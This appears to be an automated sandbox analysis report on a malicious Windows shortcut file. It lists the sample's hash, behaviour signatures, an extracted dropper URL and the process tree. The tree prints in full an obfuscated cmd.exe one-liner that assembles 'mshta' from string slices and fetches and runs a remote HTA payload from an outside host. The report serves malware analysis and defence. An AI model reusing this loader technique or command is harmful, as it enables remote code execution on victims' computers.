Analysis
- max time kernel
58s - max time network
36s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
18/08/2026, 12:17
General
- Target DOC-ZO3W4M.lnk
- Size 2KB
- Sample260818-pgdnlss1ft
- SHA256 c18705ca6e1022298cceb19c91cf4615140600a3061c0f018d5b6f6e7e0b74e5
Score
10/10
Malware Config
Extracted
Language
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hta
Source
URLs
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hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZO3W4M.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set NjK=datlefzsvyehdat&&set kzbU=syskvymefncsys&&set bQhF=tmpvhbdoddtmp&&set kL=sysdlgvhsys&&set zWx=dbghwntetticdbg&&set mU=imssgu&&set EdBq=3htcs&&set Wbt=4neak&&set SMVJY=9svh&&set mCrL=6t7&&set HMKa=b5artod&&set LOb=h@t@tp@s:@//@m@a-p@dffi@[email protected]/h/@e@s@ta@[email protected]@p?@r@=@39@1469@FB@5@D82DB&&start /b !mU:~1,2!!EdBq:~1,2!!Wbt:~3,1! !LOb:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵
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